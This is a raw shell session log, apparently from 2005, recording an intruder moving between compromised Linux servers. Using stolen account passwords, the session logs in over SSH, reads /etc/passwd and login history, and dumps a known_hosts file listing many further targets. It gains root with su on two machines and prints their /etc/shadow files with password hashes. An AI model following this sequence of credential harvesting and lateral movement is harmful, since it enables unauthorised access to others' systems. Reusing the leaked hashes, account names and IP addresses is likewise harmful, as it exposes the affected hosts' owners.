-bash-2.05b$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Jan 8 10:43 .
drwxr-xr-x 19 root root 4096 Jan 7 15:49 ..
drwx------ 4 drftpd drftpd 4096 Jan 8 16:36 drftpd
-bash-2.05b$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/false
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/html/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
canna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologin
wnn:x:49:49:Wnn System Account:/home/wnn:/sbin/nologin
pd:x:504:504::/home/pd:/bin/bash
drftpd:x:505:505::/home/drftpd:/bin/bash
-bash-2.05b$ last -100
pd pts/0 h0.cu.ck.no Sat Jan 8 21:34 still logged in
root pts/4 pcp07845309pcs.w Sat Jan 8 18:35 - 20:47 (02:11)
root pts/3 pcp07845309pcs.w Sat Jan 8 16:32 - 18:53 (02:21)
root pts/2 pcp07845309pcs.w Sat Jan 8 16:10 - 21:47 (05:37)
root pts/1 pcp07845309pcs.w Sat Jan 8 14:39 - 17:18 (02:38)
root pts/1 pcp07845309pcs.w Sat Jan 8 11:03 - 11:13 (00:09)
root pts/0 pcp07845309pcs.w Sat Jan 8 10:56 - 13:29 (02:33)
root pts/0 pcp07845309pcs.w Sat Jan 8 10:47 - 10:56 (00:08)
root pts/0 pcp07845309pcs.w Sat Jan 8 10:39 - 10:47 (00:08)
pd pts/0 64.92.160.226 Fri Jan 7 16:16 - 17:14 (00:58)
reboot system boot 2.4.20-31.9 Fri Jan 7 15:49 (1+06:46)
pd pts/0 64.92.160.226 Fri Jan 7 13:25 - down (02:22)
pd pts/0 64.92.160.226 Sat Jan 1 04:11 - 04:11 (00:00)
wtmp begins Sat Jan 1 04:11:48 2005
-bash-2.05$ ssh 64.92.160.186 -lpd
pd@64.92.160.186's password:
Linux race4 2.4.27 #1 Sun Oct 3 13:08:41 AKDT 2004 i686 unknown
Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/share/doc/*/copyright
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 7 14:02:20 2005 from 64.92.160.226
pd@race4:~$ id
uid=1000(pd) gid=1000(pd) groups=1000(pd)
pd@race4:~$ cat .ssh/known_hosts
67.18.188.10 ssh-dss AAAAB3NzaC1kc3MAAACBAMCjipmiCgbBGvXbcdpbAGw793qXPfFQCXuSjpFpHKr5xhTImG3RrCvi86KdTuS8HfJ9a4OrFlGInmdkWLoPCyoWCEZIWedN01AvhOEsbFSXs8qlglYoGxrzbhgRkXyeCKRecPNEXDIyKnzIPj0mPF5NJPM10URE5OpMQZs88dTXAAAAFQD9on8LWoOM93JfzEfXr41dX6SXcwAAAIACAaEeZuJcfzkv2yTOt9bLA6C36xqifLlKbZ6199CpZK0Hrh/P+LOpRcq7LU/mewsLuUQVtMRAOr54hNVAGSecajP6NVkEUP8v4eSMJou6r8baMflvbKEQQOzCRo6kTWjLBlaZ84vswgU+MkQpU/XclncNg9qlP4s0AmQH8QvuiwAAAIAz7a+vGHGbnX8IioDjRLG8kMng5wLdy8ogj5MKhifNYC6C+VndgY5ec0YXI3F6lO6c+neaFXJPvyJSECkYVRT/uf9LglgU4GBOMhEjAYCWygjwy5Z/FJZqoMaJMvNGN+txCFw/vwiV1CUp6i0G1lNcEq5l0mHxwcHT6Y+Sfw8PZQ==
64.92.160.226 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAq+Xh8TbF+X5YP+ZQY4rOj/fQlUC5YhidQ+DSCdkmAOPQJaWBUe1foqaZV72sOUENdngZHkFqO6ZE/oc/eRLG+Gnck/iV0xzR0ML3S7Syr+vleJW6dQgl6GUOI7uciQt84l3rNP3VEG1zqpl3gRfYBBlFBuRgQDbJlo7zDSbnin0=
67.19.126.130 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEArbBeYegbD+rGaBEsgfhkLiURcmvQkGH+E79B3Y1Khpf6kD+nCysa4GmekHAy21+NZO93c/nq7jQT0nHw3NBBTRxKQmeci794IWu84ZHdPuiqsQqkKdEI4EMaNzztPQXZt+sIZuGxmrF2yrRmyFAebUFiXkKZDuKGImHp1m72ris=
69.41.234.26 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwnpqSsQudEBdOBUJQm0zhflQ7CrRb/AkG8Nz/6w6D226s4ky+MsIXDb4RFAg+Z2+Xf9mio37c/2KnAy1Hll1sNsMH0i3z9SPQQ8Eeops854vEYi7BlK2jwT2hI0bp0yl6XJg3ECragpY+ch4IfTJJ9bqdntwoY9CT2+0mZa0ITU=
64.92.164.186 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvcKIfTfI0YJE3iN2791cyu2//nqgnnhrUJSxc3my/4f3XBaOqzM+G0MJxCGeuXe/+rYp1aHUI2DOkZbnAs12VqFrfOB+NSc3yllfHyDTXWmQMZ/DNTocXOot8gfzubAIeDZM7nCIm0OYtQLu4BwhXM6DZ+Lvs9b0qAPfxrcFWpk=
64.92.164.154 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwQo+ashPJm9hoSJGsfhugoyhMZg5p02Gk1HtIddWolLiyp+8JogPTmsDeuqkrFHoUpk+dZQDGFZk0aerq371zLZqL6lOEg6ZiXVJZyyUh94Ua8KsXh6CQxKw2EvmE0sH8I3vTixw0YcMTjs7qMUvk+mmR3I407IO52oKGNNTcYc=
69.31.73.218 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAxwpH9vj3n27i0QUJlDk4PkSoYzYO8Iq/Bvz+D38w9HZiNhNsZoACBbffuv15vv7oTPR8uE7m6nUI88oMX9oyJlZyxATGMrXYz7DGfPIsEZhYLLw3rUnrT8I10C4QS6SIoYfDGSeBj1y5f+jl/A+N4Wgd19pXsPngat066HDMeyU=
velocity.fast-solutions.net,209.123.8.31 ssh-dss AAAAB3NzaC1kc3MAAACBALXeQkSJ3DszMuYUkPbu/NgHpxT1hYceAM1TiJiTPtixm4auhZY4sZzxcubHvwkHLodudHS56e7FRuZYrdeoUFKkrBe7Pbe42DJ5iUUGK7ohPUfF7dCqXYnmjrjV2SW9nKDcM/ywJQjxyy9ut4pa95GHENPARc5k5kHYt0atB6otAAAAFQC3vqr4xCbbZzfD945uDA1pyJ0lTwAAAIAOrxR7FlabQcmFzunaqWiK3l8+Qruwl6oY34joNyyD1cWBM7EnmnEDX9EyFJQrQR79/AKfrRrbo6B5B13jd5TciDbkfBxOnS16Ljx7TPSWk8NB6MhwJHzM/I5tgXEiZ/Bt/nLzM7hwoXGt8aB3iAn2EOdFj7MljFpkheYd8M1jqQAAAIB8GpVCRi4RUcsoHtgyCKG2h437yXb7pE+DZbfbSpnZJF/440mIj36Fn+lGp8ljCV32H9VsMFrgU8SIri9r60wD+iuDUHT6xANve4MdrsdA/iJ62weLi2NbUbWQGTHIfbsJHnlncbNfP8qhMeE7WNF5uSXLulVNPBGbMh6e2osEKw==
mach1.fast-solutions.net,64.246.16.64 ssh-dss AAAAB3NzaC1kc3MAAACBALXeQkSJ3DszMuYUkPbu/NgHpxT1hYceAM1TiJiTPtixm4auhZY4sZzxcubHvwkHLodudHS56e7FRuZYrdeoUFKkrBe7Pbe42DJ5iUUGK7ohPUfF7dCqXYnmjrjV2SW9nKDcM/ywJQjxyy9ut4pa95GHENPARc5k5kHYt0atB6otAAAAFQC3vqr4xCbbZzfD945uDA1pyJ0lTwAAAIAOrxR7FlabQcmFzunaqWiK3l8+Qruwl6oY34joNyyD1cWBM7EnmnEDX9EyFJQrQR79/AKfrRrbo6B5B13jd5TciDbkfBxOnS16Ljx7TPSWk8NB6MhwJHzM/I5tgXEiZ/Bt/nLzM7hwoXGt8aB3iAn2EOdFj7MljFpkheYd8M1jqQAAAIB8GpVCRi4RUcsoHtgyCKG2h437yXb7pE+DZbfbSpnZJF/440mIj36Fn+lGp8ljCV32H9VsMFrgU8SIri9r60wD+iuDUHT6xANve4MdrsdA/iJ62weLi2NbUbWQGTHIfbsJHnlncbNfP8qhMeE7WNF5uSXLulVNPBGbMh6e2osEKw==
216.32.94.82 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtmwGKfjqIF42aA17HDmHX2GEgp4PU8F4911B4HVI9vXb5Mfh0DdAHCM/A7z8UJg86pf5npBNLhzj+vZIXLwr2JD5GootI4ON1PIme5DmSAG9Ian16tRcxBYJwEiMyjNylxtD/2AeofeJgk5q9ZQGFP+92vrHhseygqSNCw60vh8=
trades.warez.while.drinking.b33r.net,64.246.17.187 ssh-dss AAAAB3NzaC1kc3MAAACBALXeQkSJ3DszMuYUkPbu/NgHpxT1hYceAM1TiJiTPtixm4auhZY4sZzxcubHvwkHLodudHS56e7FRuZYrdeoUFKkrBe7Pbe42DJ5iUUGK7ohPUfF7dCqXYnmjrjV2SW9nKDcM/ywJQjxyy9ut4pa95GHENPARc5k5kHYt0atB6otAAAAFQC3vqr4xCbbZzfD945uDA1pyJ0lTwAAAIAOrxR7FlabQcmFzunaqWiK3l8+Qruwl6oY34joNyyD1cWBM7EnmnEDX9EyFJQrQR79/AKfrRrbo6B5B13jd5TciDbkfBxOnS16Ljx7TPSWk8NB6MhwJHzM/I5tgXEiZ/Bt/nLzM7hwoXGt8aB3iAn2EOdFj7MljFpkheYd8M1jqQAAAIB8GpVCRi4RUcsoHtgyCKG2h437yXb7pE+DZbfbSpnZJF/440mIj36Fn+lGp8ljCV32H9VsMFrgU8SIri9r60wD+iuDUHT6xANve4MdrsdA/iJ62weLi2NbUbWQGTHIfbsJHnlncbNfP8qhMeE7WNF5uSXLulVNPBGbMh6e2osEKw==
stfu.b.4.u.get.pwnd.by.this.leet.haxer.net,63.110.127.251 ssh-dss AAAAB3NzaC1kc3MAAACBAKgo/MteQqNs4eMqwPsDhrKhzAPcdPdwP9IWHXRDs6yN0yc4X7FmrzvzmFqSaUAz25jBEVR3YTmutD90bJeLLHNsXslLtWOWVgwwxYtvGYJB+tXteHherWf+Gx0bZXtoRQYDYbWnI9VSEpXKa7avEt/wmowIB0McrUsA+hjbJJ7/AAAAFQD6Oebkz+qbtK1d9ULEnTzOkQnC5wAAAIBropUzrpvgyFJUjQIyPk66T5Wxt99Y26e8/jDRulgcsmhpZtulMfTqTjU3wR8SC4ziGUurrae39UWRUu3ZO8GbXIVa/F+ezBTXfFjXM4mpm0jZcrquK/4oFlYaN5wMrE3xlTbWXfeomTY+rUw4pw8KW+25wJu0y5i1Z/DZnH9SWwAAAIBYL6B1ie5nZi849tc9uMNvVASvvaI3HhQEzpiK74mYQVLPWuLjfafx/pjIOO0xhhkImMGuoAGHc6JoE9XLa2xV0f10frjFAgFzXBBSrrECXbwI9aXmXewhy2shUQegGByqQSZPZ/E3lOOAgvjKTOi5fW7TZuduZlxbDkLDYxJQWg==
alpha.neuricon.net,65.215.220.190 ssh-dss AAAAB3NzaC1kc3MAAACBAKgo/MteQqNs4eMqwPsDhrKhzAPcdPdwP9IWHXRDs6yN0yc4X7FmrzvzmFqSaUAz25jBEVR3YTmutD90bJeLLHNsXslLtWOWVgwwxYtvGYJB+tXteHherWf+Gx0bZXtoRQYDYbWnI9VSEpXKa7avEt/wmowIB0McrUsA+hjbJJ7/AAAAFQD6Oebkz+qbtK1d9ULEnTzOkQnC5wAAAIBropUzrpvgyFJUjQIyPk66T5Wxt99Y26e8/jDRulgcsmhpZtulMfTqTjU3wR8SC4ziGUurrae39UWRUu3ZO8GbXIVa/F+ezBTXfFjXM4mpm0jZcrquK/4oFlYaN5wMrE3xlTbWXfeomTY+rUw4pw8KW+25wJu0y5i1Z/DZnH9SWwAAAIBYL6B1ie5nZi849tc9uMNvVASvvaI3HhQEzpiK74mYQVLPWuLjfafx/pjIOO0xhhkImMGuoAGHc6JoE9XLa2xV0f10frjFAgFzXBBSrrECXbwI9aXmXewhy2shUQegGByqQSZPZ/E3lOOAgvjKTOi5fW7TZuduZlxbDkLDYxJQWg==
216.32.67.170 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA0t2Pa8NWIwLHJnxLYjDKRSUDVsqlXl997Rk6rOsf6reR41WzCaMAev3SeP+wBTXE1FgGdDUV4LT0GF1xcWXeqdDNKIngvEUPMFSVSMNFP0Bef2LSlncGZ5GEZbUnViCeK/e/mLy/YgFdeIRMlb7883BTHytEjhiT7oK6x7tkvAs=
66.252.8.2 ssh-dss AAAAB3NzaC1kc3MAAACBALQlNQxGdbiD30VTa93g4YEWBXkW8XsMA09LxZbXG2oWZ/EN8s8UP8cs5t6kB9rrfiSXXvAbItTvMoIrB2tQfvBJE0csNhwDPGjm16Eo3iZfHLqSKFZ3kdP+kls9wkkY0uP9F/+dwmUxmH592JjREJiQViOgaTljsw+Bt7AsvqanAAAAFQC0EYanD1/5R+s09wXb5lS4Sr8D2wAAAIEAjKxHYVpPjgsPYIVyU3TMlAkjvMAXq4rgmGv6kiJzg+68tLwCfyLWVqkLnuHGzEfmHW28xsvuc4STj2OZ3mIJ8hSQV8/q01AaHH6P6b5KJ98kFyRt97D/sGUzMGeZH6UCt1UDNwUB+DnB+3f8L+vpr05r/ZlFkYGKUMuSX6BbrykAAACBAK0Tkix59rBAHwi6Naz+NSNyRXQzoMzNXSZHUp32k8uuJSuGVWX+V+UT1yDvOf3bP0W/slLhaSJcJpobZRL6IeQinhIu5+cz+1UEEydDrAXNXCgnUSKV7PwsS9hBq6rnjA6Ji4efrXP0ZgdDB1lsB0Fz7oJP5iE2kFT5b1bc/POy
will.trade.shells.for.irc-whores.com,66.6.220.21 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAsdOyfMYQSBsm/7u3KbLmZSet/bWDmAcDY1E7dDSwLYGJ2VfyX4XNDMbZtFUMJzzNL6iKKbZ8hQd7ac8o2gwt5QVmMoYvwLnVkltwiICKYWTy/VhsxdOkHbZy1y7ZZdm/sFJM5I5GXTX+/OfVesnY3dlXewUoJj5C66r+3iI2Zs8=
216.32.70.26 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA5syvvBzCW9s3Rl8jjyT/vKB6Ne2bbEqbE3CeDgwTN+6QjclZSR2h7e5AgKcqIkQP0v6eoTft4DI3trJei0TyiIkjfJp/UA4/c/2i6iq4u/DHvgJJJucZby0R8zScJKIf2GLaTvWrTrXG8l0kPDxjIM7hvAk+8L9JCGBpAMSoLV0=
216.32.66.50 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAxcd75+lwVznJ1SlISfKgcyjGkJcxTI2luXltyBsEo/l+HwjHj17+lBS5vh8GOf8MS34UW4Y3YNYuiZUOWu+37zDNfn52+XSHqlso0BL+w8OFd5vXyd8gC1x48zr6Ayd4etF4z/95Z/aOB3g1Pd+e3AlZSyBX2CY2of278Ih7DsE=
216.32.70.146 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2O9RH9TPEvtQvEN1lvC89UhOpJN4NJEFfSUh1NMOL44bg0doPrPIkklVMc7SpH4i+UubqpB23Si4VLXAqOFgFt8wBy2awXtWP1HZf9Coq3z4lRU8z1VvuaaoO2d2JiqNp4Is0guHxp8u4ij21c107HVMqJA/oqWzFTG5EquSsBs=
64.92.161.130 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAygVvtPyWBU2Sd0OO4DVHiGHn4lV1UBaOKrx855xSnVxHxNdzRCnncfP0PdGFXjRklJ/fnToS4jIspwnsZ+/Iz1ticyswkj+wApkQ4s46+nDewMMssKJYsh8+XBwS99bNIrF2kKKElJPVGzs8yh5kypCQzVh2Tvp6axnG70k1CqE=
admin.fast-solutions.net,66.252.8.35 ssh-dss AAAAB3NzaC1kc3MAAACBALQlNQxGdbiD30VTa93g4YEWBXkW8XsMA09LxZbXG2oWZ/EN8s8UP8cs5t6kB9rrfiSXXvAbItTvMoIrB2tQfvBJE0csNhwDPGjm16Eo3iZfHLqSKFZ3kdP+kls9wkkY0uP9F/+dwmUxmH592JjREJiQViOgaTljsw+Bt7AsvqanAAAAFQC0EYanD1/5R+s09wXb5lS4Sr8D2wAAAIEAjKxHYVpPjgsPYIVyU3TMlAkjvMAXq4rgmGv6kiJzg+68tLwCfyLWVqkLnuHGzEfmHW28xsvuc4STj2OZ3mIJ8hSQV8/q01AaHH6P6b5KJ98kFyRt97D/sGUzMGeZH6UCt1UDNwUB+DnB+3f8L+vpr05r/ZlFkYGKUMuSX6BbrykAAACBAK0Tkix59rBAHwi6Naz+NSNyRXQzoMzNXSZHUp32k8uuJSuGVWX+V+UT1yDvOf3bP0W/slLhaSJcJpobZRL6IeQinhIu5+cz+1UEEydDrAXNXCgnUSKV7PwsS9hBq6rnjA6Ji4efrXP0ZgdDB1lsB0Fz7oJP5iE2kFT5b1bc/POy
195.49.140.5 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2go/6MQI+rWO0vlyi65blIweNrm6ywtRoT1DvoYRflq/E+IuypcAIz9XyNAxCRLhmi+BY7reS1RIw9z2S6W03NhTHuqbGU4XNPOQXSzBFpV/Xyjd7+jrthsix2Ml7JoDf6/HoAV/i81XHS+CHTiOpEDgStGV9nHWgdC8YH0DQ30=
viper.falcon-networks.com,66.6.220.2 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAsdOyfMYQSBsm/7u3KbLmZSet/bWDmAcDY1E7dDSwLYGJ2VfyX4XNDMbZtFUMJzzNL6iKKbZ8hQd7ac8o2gwt5QVmMoYvwLnVkltwiICKYWTy/VhsxdOkHbZy1y7ZZdm/sFJM5I5GXTX+/OfVesnY3dlXewUoJj5C66r+3iI2Zs8=
67.19.176.186 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAp6xxbETODDDE/ZKWAT8T64NxKE3P75MGZ7/FQpAxGUGAAolAakRfEmWRpz0hZnxoW/IxlPHNLCQtUdYuVCFPojMODezOkB0ms9IHQn6Scy7DqB5EmDs82NgNcnNueUYaxns6yOmCYkWPJ2DPSrETgbBWDPAEpcJgMzFf3ovRKrk=
216.32.70.146 ssh-dss AAAAB3NzaC1kc3MAAACBANooV5z3UBbIwk2+XSSXPKqmX+hYUPZKHNL4FBxY+AfvDaqIp253Y9G+QIppgY7NGqRZkxwUx9Hy7mzYKWkHpaSb6R9krHp82CJDcpidNlr6CB4nhN48TkF1dmdhUTERMCUloa6J1T78Ansp8EYLY0LtkA5RFGXQDthiJHQXSweHAAAAFQD3DPtpCUneme9aNHlZTpAxCq02IQAAAIAfRLi5FYbGdTgjcRGdoKr2pdkID+o5GE6SFu2S59J6mE+kFd8NZ/GZepgHIXp666/Op05XGoBL6DdVihrUWKDrCXliPNcE3XltJPXY79pUWfI2dwinT50Mx48vYYNzi1HjGMawp83LRRnFKZmOiNTgPdJLTcCz575oY/r2vme5NQAAAIEAlDKUXoHHYQ8fjRAHr8ucE4MR99H0B4iy3JtuHfbJnTs+tTY9LSmRun8KvpHAn2856nAzYdIUJZjMjgQku/EFnDGaVdoy918j9glGyBDYL6s5W/e7zG1mFmDJ9h0kYxs23jzwUUk3stNG8FxCsepEyNeZ7Drmt945t/s7coGYwZQ=
216.32.81.82 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtLSZ9PpRoXlG2E53y1Xo+vjvNx5MyxPyAApoKJy7TD6wdJUIpx9zIL76W6uo1cizwZUG5Q7C3z4wgyWOhKZCAAaEyqdjWeP/Q0gd0+do++Qc6G3NL1ppFCP7emaQnDpBJNGw7L35LeKncvtQm9Tptvxfq+KvsGkX3XhGYqGJGos=
69.93.172.242 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAmwBqP4m/RyVqJDkWTsJ7S3cF1XHC9iM8cXlMKHn6DV+T50Fx5T9L6ommghDztrigcvJSbBPn1aW/9O9YO/s+i3w1cGU/2To7pA4hAEmxmLkZuQhu5G13BJFNrIxtNjlUhxaf70bM7qVmjYSQUefyHfN2rJuhqBDMpN1OtasSuOE=
69.50.181.110 ssh-dss AAAAB3NzaC1kc3MAAACBAMZTKaf1Onky2L1rTb6G4n3V0A/DwDGXTAOIijveCd9XtrEAMQKJa2ahQvxQOukHT1DMET4hj3E4fFdt3iTJa16wS5dVR1+hanQIdy6Mqv7DZV65eR0l7nkpPBN7GELfRVGxvt5x2uXXOR/L8wDrZb1mjraQwc/QgrRoSF9tQ4JxAAAAFQC2YV1Exq/KqEAkdInAtgdsH/w3vwAAAIEAp1SvVpscrJiSer5ekWsFbUS0vpgzB0oJV246Mv6yQo8LKBv7CoDcSFkB83KmIjj2WhHQ2v89cSdEIqgRcIc5+K9rWLhsAPOTXoZ46pQcJy3n7LPC3///Fuy5hrjDpxPjFVlGboDa5Cm1xYd/fzzUfeoprRdYj5LhOZ3+9swQg/UAAACAaQ1lKCzgxsg2SroxJ0jlYfRLHwBjOei7+3TJ5HzNCaSWH6p7MJxQHLhbohUFy3ni3rN3EfJCJavxTO++U8kzEby/SUtnNJnwNhbGQe8AIvzyR/7VJcai10gKNATTxc+WM13nn8uMlFoVGYKa8pwi/unycAXPK/HnlthjArUN66A=
69.50.181.189 ssh-dss AAAAB3NzaC1kc3MAAACBAIWMUNy9bIkluUuvUw8gf1Pzt5UxOWr9gZ4KhFkhb0pkNf7ayvcUmxKrwr1NC/58Pkc5ocaRPJhgXVCf32149MPqyQouUNVwhihOX/DtCRZamVOEqRW+OXmtY/TV6W6ulV3OpPqLPvp5CGhx3lFsaSjeGY5UgerwFEoaYqnTFfgXAAAAFQDUJgxvKmsoSdAb5KWpnVrZHZJCTwAAAIBrqaWL1Eb6r8hYnDXQliKd3Sw9kvowC/SDhJ+gGum1LGpAU1QzczqkC0hjJydkEvOxA7iG6AWwqITU5YHfMW47y3UfxwYSifKTVdqweInP9K7VJuhdc3xkMcYQ7hZVlZSYqGB3WbSMNTmgMDuD76Ly/h2uwH5tY5WtGftTXkyP7QAAAIBDPwasrIAMSum9hyzVfJYq3KN/kuDGbAu3lBRlGPnfYnj6PGdxbFrzU4QkYwclIvLO5/Rx/li+V3IAzHswX0oyDhlDLWJqEW0fmT/D3KoJX5Ll2WLwqZLo388jilsOYrHe4Du9Dv6y8wbA8mQU0/dFIOCM/9yr+EkbAg11VXo73Q==
216.32.74.234 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAp2gEwMdKoxsqd69sWfdPoyd23EfsM4dKGTXCH4G2suFn04aB7FKn85kVOK6+wXYPOW/o63cegcrT32Zd9pVBeqjyio/Kuqn5kjeI6DWmOx+kgyL7v2Vr/lvsVCe3ydWGmfoUe+b2Y/lFY2Wqxx/Wn0CcCYdJOcGEXRJST5+2xEU=
216.32.87.146 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtpwg6mqVcqe01YW8dCc6u7aGyEzLkO+icBHVdMJGOnGcFrCf0V1rBs5EAcPRvd+taKlsrbxHL8gIrsgXTBBp1BklUc0IPV+8LAzlo8fwqRU+ltVkHTAXav01gvzBi3m2DsZaG/RYxVi6G+K0WvVKs8DEokyqTjvntrR7dD3KGqU=
209.67.210.50 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA6BTnWrORMAzII76EwD3Xup8SUL8Xkdm8/NDFHNk7vw4R4tB1+72mb8xh0txbZn4vnT2VB7akJwkG3uQ7krnvlII9dHSl2/34z/LYU5VrmoOBIEVUDDoOyyCF+BG+6JBqw+d+yw7Yr7Vs2zLP/m+CGtZh3Yy+B7s8BB5sN5KAy0M=
saddened.net,72.20.16.196 ssh-dss AAAAB3NzaC1kc3MAAACBAKgo/MteQqNs4eMqwPsDhrKhzAPcdPdwP9IWHXRDs6yN0yc4X7FmrzvzmFqSaUAz25jBEVR3YTmutD90bJeLLHNsXslLtWOWVgwwxYtvGYJB+tXteHherWf+Gx0bZXtoRQYDYbWnI9VSEpXKa7avEt/wmowIB0McrUsA+hjbJJ7/AAAAFQD6Oebkz+qbtK1d9ULEnTzOkQnC5wAAAIBropUzrpvgyFJUjQIyPk66T5Wxt99Y26e8/jDRulgcsmhpZtulMfTqTjU3wR8SC4ziGUurrae39UWRUu3ZO8GbXIVa/F+ezBTXfFjXM4mpm0jZcrquK/4oFlYaN5wMrE3xlTbWXfeomTY+rUw4pw8KW+25wJu0y5i1Z/DZnH9SWwAAAIBYL6B1ie5nZi849tc9uMNvVASvvaI3HhQEzpiK74mYQVLPWuLjfafx/pjIOO0xhhkImMGuoAGHc6JoE9XLa2xV0f10frjFAgFzXBBSrrECXbwI9aXmXewhy2shUQegGByqQSZPZ/E3lOOAgvjKTOi5fW7TZuduZlxbDkLDYxJQWg==
pd@race4:~$ su -
Password:
race4:~# id
uid=0(root) gid=0(root) groups=0(root)
race4:~# cat /etc/shadow
root:$1$aDKvcOgG$UJvVF8iAhuvRRpFGopN2J0:12736:0:99999:7:::
daemon:*:12685:0:99999:7:::
bin:*:12685:0:99999:7:::
sys:*:12685:0:99999:7:::
sync:*:12685:0:99999:7:::
games:*:12685:0:99999:7:::
man:*:12685:0:99999:7:::
lp:*:12685:0:99999:7:::
mail:*:12685:0:99999:7:::
news:*:12685:0:99999:7:::
uucp:*:12685:0:99999:7:::
proxy:*:12685:0:99999:7:::
postgres:*:12685:0:99999:7:::
www-data:*:12685:0:99999:7:::
backup:*:12685:0:99999:7:::
operator:*:12685:0:99999:7:::
list:*:12685:0:99999:7:::
irc:*:12685:0:99999:7:::
gnats:*:12685:0:99999:7:::
nobody:*:12685:0:99999:7:::
sshd:!:12685:0:99999:7:::
pd:$1$phRTijeW$o9i3/DYdpmET.RjwpEKjZ0:12736:0:99999:7:::
shibob:$1$.2vhtXgt$FH3sbdKin.ssQ7ywAyxBu.:12774:0:99999:7:::
race4:~# ssh -l jugga 64.92.161.130
The authenticity of host '64.92.161.130 (64.92.161.130)' can't be established.
RSA key fingerprint is 6c:bf:ab:bb:80:73:8a:27:42:20:9f:1e:d3:86:56:22.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '64.92.161.130' (RSA) to the list of known hosts.
Error reading response length from authentication socket.
jugga@64.92.161.130's password:
jugga@web [~]# id
uid=32005(jugga) gid=32006(jugga) groups=32006(jugga)
jugga@web [~]# ls -al
total 360
drwx------ 5 jugga jugga 4096 Dec 12 18:52 ./
drwx--x--x 6 root root 4096 Dec 12 18:44 ../
-rw------- 1 jugga jugga 242 Dec 19 14:02 .bash_history
-rw-r--r-- 1 jugga jugga 24 Dec 12 18:44 .bash_logout
-rw-r--r-- 1 jugga jugga 191 Dec 12 18:44 .bash_profile
-rw-r--r-- 1 jugga jugga 124 Dec 12 18:44 .bashrc
-rw-r--r-- 1 jugga jugga 5543 Dec 12 18:44 .canna
-rw-r--r-- 1 jugga jugga 237 Dec 12 18:44 .emacs
drwxr-xr-x 11 jugga jugga 4096 Dec 16 00:44 psybnc/
-rw-r--r-- 1 jugga jugga 312188 Aug 17 2002 psyBNC2.3.1.tar.gz
drwxr-xr-x 2 jugga jugga 4096 Dec 12 18:45 public_ftp/
drwxr-xr-x 3 jugga jugga 4096 Dec 12 18:45 public_html/
jugga@web [~]# su -
Password:
-bash-2.05b# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
-bash-2.05b# ls -al
total 32
drwxr-x--- 5 root root 4096 Jan 7 04:19 .
drwxr-xr-x 22 root root 4096 Nov 4 08:29 ..
-rw------- 1 root root 1407 Dec 14 01:47 .bash_history
drwxr-xr-x 4 root root 4096 Nov 2 14:36 cpanel3-skel
drwx------ 3 root root 4096 Jan 7 04:19 .cpcpan
drwxr-xr-x 2 root root 4096 Dec 14 04:20 .ncftp
-rwxr--r-- 1 root root 486 Nov 5 00:02 speed_backup.sh
-rwxr-xr-x 1 root root 3200 Nov 5 00:02 speed.sh
-bash-2.05b# cat /etc/shadow
root:$1$4BJkxOXN$.4sJLf3oCJqih4tfZbir7/:12736:0:99999:7:::
bin:*:12713:0:99999:7:::
daemon:*:12713:0:99999:7:::
